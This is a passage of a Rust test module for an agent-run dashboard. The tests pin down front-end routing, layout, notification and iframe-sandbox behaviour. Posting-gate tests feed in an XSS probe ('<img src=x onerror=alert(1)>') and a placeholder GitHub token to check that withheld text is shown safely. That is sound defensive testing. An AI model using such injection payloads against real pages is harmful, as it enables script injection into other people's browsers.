22136        let f = Fixture::start().await;
22137
22138        let html = f.get("/").await;
22139        let css = f.get("/app.css").await;
22140        let js = f.get("/app.js").await;
22141
22142        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
22143        assert!(
22144            html.headers
22145                .contains("content-type: text/html; charset=utf-8")
22146        );
22147        assert!(css.headers.contains("content-type: text/css"));
22148        assert!(js.headers.contains("content-type: text/javascript"));
22149        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
22150    }
22151
22152    #[test]
22153    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
22154        let body = |name: &str| {
22155            let at = APP_JS
22156                .find(name)
22157                .unwrap_or_else(|| panic!("{name} missing"));
22158            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
22159        };
22160        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
22161        let note = body("function landRoundNote");
22162        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
22163        assert!(note.contains("Land round ${round}"));
22164        let land = body("function renderLand");
22165        let note_at = land
22166            .find("landRoundNote(pr)")
22167            .expect("renderLand uses the note");
22168        assert!(
22169            note_at
22170                < land
22171                    .find("roundRail(pr)")
22172                    .expect("renderLand uses the rail")
22173        );
22174    }
22175
22176    #[test]
22177    fn the_runs_page_redesign_keeps_its_guards() {
22178        let body = |name: &str| {
22179            let at = APP_JS
22180                .find(name)
22181                .unwrap_or_else(|| panic!("{name} missing"));
22182            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
22183        };
22184        // A null child must never reach the native append (it prints "null").
22185        let land = body("function renderLand");
22186        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
22187        assert!(
22188            !land.contains("box.append("),
22189            "renderLand must use append()"
22190        );
22191        assert!(land.contains("append(box, ["));
22192        // Tabs are hash routes; the run id alone decides a reload.
22193        let parse_route = APP_JS.split_once("function parseRoute").unwrap().1;
22194        let parse_route = parse_route.split_once("/* ---- two-pane layout").unwrap().0;
22195        assert!(parse_route.contains("RUN_TABS.includes(parts[2])"));
22196        assert!(
22197            body("function applyRoute").contains("const prevRoute = state.route;")
22198                && body("function applyRoute")
22199                    .contains("route.name !== prevRoute.name || route.id !== prevRoute.id")
22200        );
22201        // The decorative diagram is gone, the strip and its guards stay.
22202        assert!(!APP_JS.contains("adviseConvergeDiagram"));
22203        assert!(!INDEX_HTML.contains("advise-converge"));
22204        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
22205        assert!(APP_JS.contains("provisional"));
22206        for id in [
22207            "run-tab-overview",
22208            "run-tab-timeline",
22209            "run-tab-report",
22210            "run-report",
22211            "runs-scope",
22212        ] {
22213            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
22214        }
22215        assert!(!INDEX_HTML.contains("runs-tree"));
22216        assert!(!INDEX_HTML.contains("run-raw-panel"));
22217        // Fold still says it cannot be resumed.
22218        assert!(APP_JS.contains("resume"));
22219        // The unreadable-runs count stays on the page.
22220        assert!(APP_JS.contains("unreadable"));
22221    }
22222
22223    #[test]
22224    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
22225        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
22226        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
22227        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
22228        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
22229        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
22230        // The subtitle still counts them whatever the banner does.
22231        assert!(APP_JS.contains("unreadable` : null"));
22232    }
22233
22234    #[test]
22235    fn blocked_run_detail_exposes_the_failed_gate_reason() {
22236        let mut state = RunState::new(
22237            "/repo".into(),
22238            "main".into(),
22239            "abc".into(),
22240            "task".into(),
22241            crate::config::Config::default(),
22242        );
22243        state.status = RunStatus::Blocked;
22244        state.gate_ran = true;
22245        state.gate.push(crate::run::CommandOutcome {
22246            command: "cargo make check".into(),
22247            code: Some(1),
22248            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
22249            duration_ms: 0,
22250            resource_blocked: false,
22251            ..Default::default()
22252        });
22253        let view = RunDetailView::of(
22254            state,
22255            false,
22256            crate::run::Liveness::Unknown,
22257            None,
22258            None,
22259            None,
22260        );
22261        let value = serde_json::to_value(view).unwrap();
22262        assert_eq!(
22263            value["stop_reason"],
22264            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
22265        );
22266    }
22267
22268    #[test]
22269    fn the_run_detail_payload_says_whether_the_run_is_done() {
22270        // `landView` reads `run.done`; the detail response must carry it.
22271        for (status, done) in [
22272            (RunStatus::Superseded, true),
22273            (RunStatus::Blocked, true),
22274            (RunStatus::Landing, false),
22275        ] {
22276            let mut state = RunState::new(
22277                std::path::PathBuf::from("/repo"),
22278                "main".to_owned(),
22279                "abc".to_owned(),
22280                "x".to_owned(),
22281                crate::config::Config::default(),
22282            );
22283            state.status = status;
22284            let v = serde_json::to_value(RunDetailView::of(
22285                state,
22286                false,
22287                crate::run::Liveness::Unknown,
22288                None,
22289                None,
22290                None,
22291            ))
22292            .unwrap();
22293            assert_eq!(v["done"], done, "{status:?}");
22294        }
22295    }
22296
22297    /// The first node of a markdown block holds a `strong` somewhere.
22298    fn has_strong(nodes: &[md::Node]) -> bool {
22299        serde_json::to_string(nodes).unwrap().contains("strong")
22300    }
22301
22302    #[test]
22303    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
22304        let mut state = RunState::new(
22305            std::path::PathBuf::from("/repo"),
22306            "main".to_owned(),
22307            "abc".to_owned(),
22308            "x".to_owned(),
22309            crate::config::Config::default(),
22310        );
22311        let proposal = |approach: &str| {
22312            serde_json::json!({
22313                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
22314            })
22315        };
22316        state.advice = Some(
22317            serde_json::from_value(serde_json::json!({
22318                "records": [
22319                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
22320                     "proposal": proposal("do **this**")},
22321                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
22322                ],
22323                "synthesis": "- one\n- **two**\n\n`code`",
22324            }))
22325            .unwrap(),
22326        );
22327        state.candidates = serde_json::from_value(serde_json::json!([
22328            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
22329             "summary": "did **it**"},
22330            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
22331        ]))
22332        .unwrap();
22333        // Recorded in ascending severity, the reverse of how the page sorts
22334        // them: the arrays must follow the record, not the display.
22335        state.reviews = serde_json::from_value(serde_json::json!([{
22336            "round": 1, "head": "h",
22337            "reviews": [{
22338                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
22339                "findings": [
22340                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
22341                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
22342                ],
22343            }],
22344            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
22345            "fix": {"agent": "a", "notes": "fixed **it**",
22346                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
22347        }, {"round": 2, "head": "h2", "reviews": []}]))
22348        .unwrap();
22349
22350        let v = serde_json::to_value(RunDetailView::of(
22351            state,
22352            false,
22353            crate::run::Liveness::Unknown,
22354            None,
22355            None,
22356            None,
22357        ))
22358        .unwrap();
22359
22360        let strong = |p: &str| {
22361            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
22362            assert!(n.to_string().contains("strong"), "{p}: {n}");
22363        };
22364        strong("/advice_md/synthesis");
22365        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
22366        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
22367        strong("/advice_md/approaches/0");
22368        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
22369        strong("/candidate_summaries_md/0");
22370        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
22371        strong("/reviews_md/0/reviewers/0/summary");
22372        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
22373        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
22374        assert!(f[1].to_string().contains("strong"));
22375        strong("/reviews_md/0/reconsideration/0");
22376        strong("/reviews_md/0/fix/notes");
22377        strong("/reviews_md/0/fix/rejected/0");
22378        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
22379        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
22380        // The raw strings stay, and no schema moved.
22381        assert_eq!(v["candidates"][0]["summary"], "did **it**");
22382        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
22383    }
22384
22385    #[test]
22386    fn a_run_without_advice_has_no_advice_md() {
22387        let state = RunState::new(
22388            std::path::PathBuf::from("/repo"),
22389            "main".to_owned(),
22390            "abc".to_owned(),
22391            "x".to_owned(),
22392            crate::config::Config::default(),
22393        );
22394        let p = run_prose_md(&state);
22395        assert!(p.advice_md.is_none());
22396        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
22397    }
22398
22399    #[test]
22400    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
22401        let store = ask::Questions::at(PathBuf::from("unused"));
22402        let gt = crate::github_text::Withheld {
22403            title: false,
22404            body: true,
22405            categories: vec!["sensitive-data".into()],
22406        };
22407        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
22408        let (detail, comparison) =
22409            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
22410        let mut q = Question::new(
22411            "r".into(),
22412            "github-text".into(),
22413            "posting-gate".into(),
22414            "s".into(),
22415            detail,
22416            Vec::new(),
22417        );
22418        assert!(
22419            QuestionView::of(q.clone(), &store, None)
22420                .posting_view
22421                .is_none()
22422        );
22423        q.posting_comparison = Some(comparison);
22424        let view = QuestionView::of(q.clone(), &store, None);
22425        let field = &view.posting_view.unwrap().fields[0];
22426        assert_eq!(
22427            field
22428                .original
22429                .iter()
22430                .map(|f| f.text.as_str())
22431                .collect::<String>(),
22432            body
22433        );
22434        assert!(field.original[0].text.starts_with("<img"));
22435        let original_question: Question =
22436            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
22437        assert_eq!(original_question, q);
22438        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
22439            .original
22440            .start = 1;
22441        assert!(
22442            QuestionView::of(q.clone(), &store, None)
22443                .posting_view
22444                .is_none()
22445        );
22446        q.posting_comparison = original_question.posting_comparison;
22447        q.detail.push_str("extra context");
22448        assert!(
22449            QuestionView::of(q.clone(), &store, None)
22450                .posting_view
22451                .is_some()
22452        );
22453        q.detail.insert(0, 'x');
22454        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
22455    }
22456
22457    #[test]
22458    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
22459        let store = ask::Questions::at(PathBuf::from("unused"));
22460        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
22461        let gt = crate::github_text::Withheld::from_check(
22462            &crate::github_text::check("fix: x", body),
22463            "fix: x",
22464            body,
22465        )
22466        .unwrap();
22467        let (detail, comparison) =
22468            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
22469        let mut q = Question::new(
22470            "r".into(),
22471            "github-text".into(),
22472            "posting-gate".into(),
22473            "s".into(),
22474            detail,
22475            Vec::new(),
22476        );
22477        q.posting_comparison = Some(comparison);
22478        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
22479        let field = &value["posting_view"]["fields"][0];
22480        let group = &field["replacement_group"];
22481        let triggers = group["triggers"].as_array().unwrap();
22482        assert_eq!(triggers.len(), 2);
22483        assert_ne!(triggers[0], triggers[1]);
22484        for id in triggers {
22485            assert!(
22486                field["original"]
22487                    .as_array()
22488                    .unwrap()
22489                    .iter()
22490                    .any(|f| &f["pair"] == id)
22491            );
22492            assert!(
22493                !field["changed"]
22494                    .as_array()
22495                    .unwrap()
22496                    .iter()
22497                    .any(|f| &f["pair"] == id)
22498            );
22499        }
22500        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
22501            group["id"].as_u64().unwrap() as usize;
22502        assert!(
22503            QuestionView::of(q, &store, None).posting_view.is_none(),
22504            "group and trigger IDs cannot collide"
22505        );
22506    }
22507
22508    #[test]
22509    fn a_question_view_carries_markdown_for_each_thread_turn() {
22510        let home = TempDir::new().unwrap();
22511        let store = ask::Questions::at(home.path().join("questions"));
22512        let mut q = Question::new(
22513            "run".to_owned(),
22514            "implement".to_owned(),
22515            "impl-A".to_owned(),
22516            "which?".to_owned(),
22517            String::new(),
22518            Vec::new(),
22519        );
22520        q.say("plain words").unwrap();
22521        q.reply("use **this**", Vec::new()).unwrap();
22522        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
22523        let bodies = &v["thread_bodies_md"];
22524        assert_eq!(bodies.as_array().unwrap().len(), 2);
22525        assert!(!bodies[0].to_string().contains("strong"));
22526        assert!(bodies[1].to_string().contains("strong"));
22527    }
22528
22529    #[test]
22530    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
22531        let home = TempDir::new().unwrap();
22532        let store = ask::Questions::at(home.path().join("questions"));
22533        let mut q = Question::new(
22534            "run".to_owned(),
22535            "conduct".to_owned(),
22536            "conduct".to_owned(),
22537            "which?".to_owned(),
22538            String::new(),
22539            Vec::new(),
22540        );
22541        q.say("plain words").unwrap();
22542        q.thread.push(ask::Turn {
22543            who: ask::Who::Agent,
22544            body: "Settled as `merge`".to_owned(),
22545            at: jiff::Timestamp::now(),
22546            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
22547        });
22548        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
22549        let notes = &v["thread_notes_md"];
22550        assert_eq!(notes.as_array().unwrap().len(), 2);
22551        assert!(notes[0].is_null());
22552        let text = notes[1].to_string();
22553        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
22554        assert!(APP_JS.contains("ask-turn-note"));
22555    }
22556
22557    #[test]
22558    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
22559        // The land panel defers to `run.status` for merged, and labels a
22560        // recorded-open PR on any finished run (superseded, blocked, ...) as
22561        // last seen, never as live state.
22562        assert!(APP_JS.contains("function landView(run, raw) {"));
22563        assert!(
22564            APP_JS.contains(
22565                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
22566            )
22567        );
22568        assert!(APP_JS.contains("const pr = landView(run, raw);"));
22569        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
22570        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
22571        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
22572    }
22573
22574    #[test]
22575    fn live_runs_are_never_hidden_or_folded_as_superseded() {
22576        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
22577        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
22578        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
22579        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
22580    }
22581
22582    #[test]
22583    fn review_rounds_label_a_distinct_verified_head() {
22584        assert!(APP_JS.contains("round.verified_head"));
22585        assert!(APP_JS.contains("verified HEAD"));
22586        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
22587    }
22588
22589    #[test]
22590    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
22591        // A blocked task's chip and note must not fall back to a queued-like
22592        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
22593        // itself by e11fc58 but never checked here.
22594        assert!(APP_JS.contains("blocked: { glyph:"));
22595        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
22596
22597        // `blocked_by` mixes task ids and question ids in the same list, and
22598        // the client can only tell them apart by checking each id against
22599        // what it actually knows - never by guessing from the id's shape.
22600        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
22601        assert!(
22602            APP_JS.contains(
22603                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
22604            ),
22605            "the note line must name what a blocked task is waiting on, not just that it is blocked"
22606        );
22607        // The classification must key off `status_str`, never off `blocked_by`
22608        // or `block_reason` merely being present - both can survive briefly
22609        // on a task a hold or a dead daemon just moved off `blocked`.
22610        assert!(APP_JS.contains("if (status === \"blocked\") {"));
22611
22612        // The dedicated Dependencies view uses the server-projected
22613        // `/api/dependencies` explorer rather than the obsolete client SVG.
22614        assert!(APP_JS.contains("dependencies: \"/api/dependencies\""));
22615        assert!(!APP_JS.contains("function depNode("));
22616        assert!(!APP_JS.contains("function dependencyRanks("));
22617
22618        // `Task::answers` - decisions already made - are shown as a record on
22619        // the card, the same disclosure style as the full instruction.
22620        assert!(APP_JS.contains("Resolved questions"));
22621        assert!(APP_JS.contains("r.answersList.append("));
22622        assert!(APP_CSS.contains(".task-answers"));
22623        {
22624            let start = APP_JS
22625                .find("function updateTalkTaskRow")
22626                .expect("updateTalkTaskRow");
22627            let body = &APP_JS[start..];
22628            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
22629            assert!(
22630                body.contains(
22631                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
22632                ),
22633                "a chat-filed task row must link to the task page"
22634            );
22635            assert!(
22636                !body.contains("#/runs/") && !body.contains("#/queue/"),
22637                "the row must not branch to a run or the queue card"
22638            );
22639            assert!(APP_CSS.contains(".talk-task-link"));
22640        }
22641    }
22642
22643    #[test]
22644    fn a_task_notification_links_to_the_task_page() {
22645        // A task notice opens the task detail page, not the Backlog card.
22646        let start = APP_JS
22647            .find("function noticeLink(")
22648            .expect("noticeLink exists");
22649        let body = &APP_JS[start..];
22650        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
22651        assert!(
22652            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
22653            "a task notice's link must target the task page"
22654        );
22655        assert!(
22656            !body.contains("#/queue/"),
22657            "regression: the task link must not go back to the Backlog route"
22658        );
22659        assert!(
22660            APP_JS.contains(
22661                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
22662            ),
22663            "`#/tasks/<id>` must parse into the task route"
22664        );
22665
22666        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
22667        assert!(
22668            APP_JS.contains(
22669                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
22670            ),
22671            "`#/queue/<id>` must parse into a route carrying that id"
22672        );
22673
22674        // And the Backlog view has to actually land on the card once it can
22675        // - see consumeQueueFocus(), which renderQueue() calls on every pass
22676        // so a focus set before the queue has loaded is retried once it has.
22677        assert!(APP_JS.contains("state.queueFocus = route.id;"));
22678        assert!(APP_JS.contains("function consumeQueueFocus()"));
22679        assert!(APP_JS.contains("jumpToTask(id)"));
22680    }
22681
22682    #[test]
22683    fn notifications_distinguish_actionable_questions_from_informational_notices() {
22684        let start = APP_JS
22685            .find("function noticeCoveredBy(")
22686            .expect("noticeCoveredBy exists");
22687        let body = &APP_JS[start..];
22688        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
22689
22690        // Historical associations are informational, even for open questions.
22691        assert!(body.contains("Associated question ${short}"));
22692        assert!(!body.contains("el(\"a\""));
22693
22694        // A resolved question displays status rather than an actionable link
22695        assert!(body.contains("(resolved)"));
22696        assert!(body.contains("(closed)"));
22697
22698        let start = APP_JS
22699            .find("function renderNotifications()")
22700            .expect("renderNotifications exists");
22701        let body = &APP_JS[start..];
22702        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
22703
22704        // Only a server-resolved answerable question supplies a response link.
22705        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
22706        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
22707        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
22708        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
22709    }
22710
22711    /// Chat rows are two lines at every width: the title alone, then the
22712    /// shrinkable secondary info.
22713    #[test]
22714    fn chat_rows_put_the_title_alone_on_the_first_line() {
22715        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
22716        assert!(APP_CSS.contains(
22717            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
22718        ));
22719        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
22720        assert!(APP_JS.contains("class: \"badge talk-unread\""));
22721    }
22722
22723    #[test]
22724    fn run_rows_put_the_title_alone_on_the_first_line() {
22725        assert!(
22726            APP_CSS.contains(
22727                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
22728            )
22729        );
22730        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
22731        assert!(APP_JS.contains("class: \"card run-card\""));
22732        assert!(APP_JS.contains("class: \"repo run-id\""));
22733    }
22734
22735    /// Wide screens get a master/detail layout built from the views a phone
22736    /// drills into. These are string assertions: they pin the contract between
22737    /// the three assets, not how it looks.
22738    #[test]
22739    fn wide_screens_show_list_and_preview_side_by_side() {
22740        // One breakpoint, spelled the same in the script and the stylesheet.
22741        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
22742        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
22743        assert!(APP_CSS.contains("main[data-split]"));
22744        assert!(APP_CSS.contains("body[data-split]"));
22745
22746        // The route -> panes table, and a narrow screen opting out of it.
22747        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
22748        assert!(
22749            APP_JS.contains(
22750                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
22751            )
22752        );
22753        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
22754        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
22755        assert!(INDEX_HTML.contains("id=\"split-empty\""));
22756
22757        // Selection is derived from the route, and only ever paints a row.
22758        assert!(APP_JS.contains("function markSelected() {"));
22759        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
22760        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
22761        // The dense row must override the stacked card the 720px block sets up.
22762        assert!(
22763            APP_CSS.contains(
22764                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
22765            )
22766        );
22767
22768        // Independent scrolling: the page stops scrolling, each pane does.
22769        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
22770        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
22771        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
22772        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
22773
22774        // A refresh must never navigate: the loaders still check that their
22775        // subject is the one on screen, and crossing the breakpoint only
22776        // re-reads the hash.
22777        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
22778        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
22779        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
22780        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
22781
22782        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
22783        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
22784    }
22785
22786    #[test]
22787    fn panel_sandbox_carries_exactly_popups() {
22788        let needle = "sandbox: \"";
22789        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
22790        assert_eq!(
22791            matches.len(),
22792            1,
22793            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
22794        );
22795        let start = matches[0].0 + needle.len();
22796        let end = APP_JS[start..]
22797            .find('"')
22798            .expect("sandbox attribute value must be terminated by a closing quote");
22799        let val = &APP_JS[start..start + end];
22800        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
22801        let expected: std::collections::BTreeSet<&str> =
22802            ["allow-popups", "allow-popups-to-escape-sandbox"]
22803                .into_iter()
22804                .collect();
22805        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
22806        assert!(
22807            !tokens.contains("allow-scripts"),
22808            "allow-scripts must never be present in sandbox"
22809        );
22810        assert!(
22811            !tokens.contains("allow-same-origin"),
22812            "allow-same-origin must never be present in sandbox"
22813        );
22814    }
22815
22816    #[test]
22817    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
22818        // consumeQueueFocus() clears an active Backlog search before it can
22819        // scroll to the target card (the sections list is hidden while a
22820        // search is showing), by recursing back into renderQueue(). The
22821        // fixer's first cut nulled state.queueFocus before that recursive
22822        // call, so the second pass saw nothing to jump to and the jump was
22823        // silently dropped whenever a notification's link was opened with a
22824        // stale search still active. state.queueFocus must only be cleared
22825        // right before jumpToTask() actually runs.
22826        assert!(
22827            APP_JS.contains("  if (revealQueueTask(id)) {\n    renderQueue();\n    return;\n  }\n  if (jumpToTask(id)) state.queueFocus = null;"),
22828            "the reveal branch must recurse into renderQueue() before state.queueFocus is \
22829             cleared, or the recursive pass has nothing left to jump to"
22830        );
22831        assert!(
22832            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
22833            "state.queueFocus must be cleared only once the jump has landed, so a card that \
22834             arrives later still gets it"
22835        );
22836        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
22837        assert!(APP_JS.contains("is not in the current Backlog."));
22838        assert!(APP_JS.contains("li.card[data-task-id=\""));
22839        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
22840        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
22841        assert!(APP_CSS.contains(".card-permalink"));
22842        assert!(APP_CSS.contains(".queue-focus-status"));
22843        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
22844    }
22845
22846    #[test]
22847    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
22848        // The task's own repro: only the link text inside .notice-meta was
22849        // clickable, so a tap on the message, the timestamp, or the card's
22850        // padding did nothing - on a phone that reads as "the card doesn't
22851        // work" even though the tiny link inside it did. Mark read / Dismiss
22852        // must keep working independently of this: `.closest("a, button")`
22853        // is what lets a tap that actually lands on those elements fall
22854        // through instead of being hijacked into a navigation.
22855        assert!(
22856            APP_JS.contains(
22857                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
22858            ),
22859            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
22860        );
22861    }
22862
22863    #[test]
22864    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
22865        assert!(
22866            APP_JS.contains("round.verified_head !== round.head"),
22867            "a round that verified an earlier commit must be visibly distinct from one that \
22868             verified the head reviewers are looking at now"
22869        );
22870        assert!(
22871            APP_JS.contains("round.verified_at"),
22872            "when a check ran must be on the wire, not just which commit"
22873        );
22874        assert!(
22875            APP_JS.contains("resource_blocked"),
22876            "a command magi never got to run (shared build cache contention) must not render \
22877             the same as a command that ran and failed"
22878        );
22879    }
22880
22881    #[test]
22882    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
22883        // Every KPI tile but Total runs and Completion names an exact
22884        // RunStatus and hands it to openRunsFiltered(), which is what wires
22885        // the click into state.runsFilter.status (matchesFilter's own
22886        // status check) rather than the coarser runsStateFilter chips. Each
22887        // status literal here must be one of the strings runSection() (and
22888        // isStale()) actually compare a run's own `status` field against -
22889        // a status this dashboard invented would filter to nothing.
22890        assert!(
22891            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
22892            "every KPI tile built through statusTile() must route its click through \
22893             openRunsFiltered, the single place that sets the Runs filter"
22894        );
22895        for (label, status) in [
22896            ("Merged", "merged"),
22897            ("Ready", "ready"),
22898            ("Blocked", "blocked"),
22899            ("Stalled", "stalled"),
22900        ] {
22901            let call = format!("statusTile(\"{label}\", t.{status}, ");
22902            assert!(
22903                APP_JS.contains(&call),
22904                "expected the {label} KPI tile built via {call}..."
22905            );
22906            assert!(
22907                APP_JS.contains(&format!("status === \"{status}\"")),
22908                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
22909                 compare a run against, not one invented only for the stats tile"
22910            );
22911        }
22912        assert!(
22913            APP_JS.contains("function openRunsFiltered(status)"),
22914            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
22915        );
22916        assert!(
22917            APP_JS.contains(
22918                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
22919            ),
22920            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
22921        );
22922        // applyRoute() only flips which view is visible for a plain `#runs`
22923        // hash - it does not itself redraw the list (see applyRoute's own
22924        // handling below) - so openRunsFiltered must call renderRuns()
22925        // itself, and must call applyRoute() too so the view flips even
22926        // when the hash string doesn't change (the operator may already be
22927        // on the Runs view when a tile is tapped, which fires no
22928        // hashchange event at all).
22929        assert!(
22930            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
22931            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
22932             hashchange event that may never fire"
22933        );
22934    }
22935
22936    #[test]
22937    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
22938        // A stats tile can leave state.runsFilter.status set to something
